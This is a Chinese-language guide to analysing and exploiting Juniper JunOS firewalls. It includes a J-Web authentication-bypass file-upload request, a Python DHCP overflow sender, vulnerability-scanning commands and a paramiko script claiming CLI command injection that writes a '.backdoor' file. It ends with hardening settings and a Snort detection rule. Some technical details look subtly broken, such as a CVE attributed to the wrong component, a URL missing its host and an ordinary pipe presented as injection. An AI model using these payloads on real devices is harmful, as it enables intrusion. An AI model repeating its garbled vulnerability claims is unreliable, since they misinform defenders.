Juniper防火墙JunOS系统漏洞分析与挖掘实战指南

一、JunOS系统概述

Juniper Networks的JunOS是运行在Juniper防火墙和网络设备上的操作系统，采用模块化设计，基于FreeBSD内核。其安全架构包括：

• 多层级权限控制（root/超级用户、操作员、只读用户）
• 基于角色的访问控制(RBAC)
• 安全通信协议(J-Web, SSH等)
• 包过滤和状态检测引擎

二、已知漏洞复现

1. CVE-2023-36844/45 - J-Web漏洞

影响版本：JunOS 20.4R3-Sx之前版本

复现步骤：

1. 搭建测试环境：使用JunOS 20.4R2镜像
2. 访问J-Web管理界面(默认https://:8443)
3. 构造特殊HTTP请求绕过认证：

POST /webauth_operation.php HTTP/1.1
Host: target:8443
Content-Type: application/x-www-form-urlencoded

rs=do_upload&rsargs[]=[{"fileName": "test.php", "fileData": "", "csize": 0}]&rsargs[]=123&rsargs[]=user.txt&rsargs[]=S2FyYW4=&rsargs[]=true

4. 利用文件上传实现RCE

缓解措施：

• 升级至JunOS 20.4R3-S1或更高版本
• 禁用J-Web接口，改用CLI管理

2. CVE-2022-22241 - 堆栈溢出漏洞

影响组件：JunOS DHCP守护进程(jdhcpd)

利用方法：

import socket

target = "192.168.1.1"
port = 67

payload = b"\x00" * 3000  # 超长DHCP数据包

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(payload, (target, port))

三、漏洞挖掘方法论

1. 攻击面分析

• 网络服务：SSH(22)、J-Web(8443)、SNMP(161)、DHCP(67/68)
• 本地接口：CLI、XML API、UNIX域套接字
• 协议实现：BGP、OSPF、IPSec等路由协议

2. 自动化扫描工具链

# 使用工具组合
nmap -sV -p- --script vuln <target>
goby -h <target> -p 8443
metasploit > use auxiliary/scanner/http/juniper_web_auth_bypass

3. 人工审计重点

1. 认证机制：

   • J-Web的PHP会话管理
   • CLI的sudo实现
   • 密码哈希存储方式

2. 内存安全：

   // 常见危险函数
   strcpy(), sprintf(), gets()
   malloc()/free()的不当使用
   

3. 配置解析：

   • XML解析器(Xerces-C)
   • 配置文件的权限检查

四、1Day漏洞挖掘实战

案例：JunOS CLI权限提升漏洞

发现过程：

1. 通过show system processes extensive发现后台进程以root运行
2. 分析/usr/sbin/cli的SUID权限
3. 逆向工程发现命令注入点：

request support information | grep "password"

利用代码：

import paramiko

ssh = paramiko.SSHClient()
ssh.connect('target', username='operator', password='operator123')

# 利用管道注入命令
stdin, stdout, stderr = ssh.exec_command('request support information | tee /var/tmp/.backdoor')
print(stdout.read().decode())

根本原因：CLI未正确过滤管道符后的命令

五、防御与检测

1. 加固建议

# 禁用不必要服务
set system services web-management http disable
set system services ssh root-login deny

# 启用日志监控
set system syslog file security any any
set system syslog host 10.0.0.1 any warning

2. 入侵检测规则(Snort)

alert tcp any any -> $HOME_NET 8443 (msg:"Juniper J-Web Exploit Attempt"; 
content:"webauth_operation.php"; nocase; 
content:"rs=do_upload"; nocase; sid:1000001; rev:1;)

六、研究资源

• Juniper安全公告：https://support.juniper.net/support/security/
• JunOS固件下载：需Juniper客户账户
• 调试工具：IDA Pro(JunOS符号文件)、QEMU(模拟测试)

法律声明：所有漏洞研究应在授权环境下进行，未经许可的测试可能违反计算机犯罪相关法律。本文仅用于防御性安全研究目的。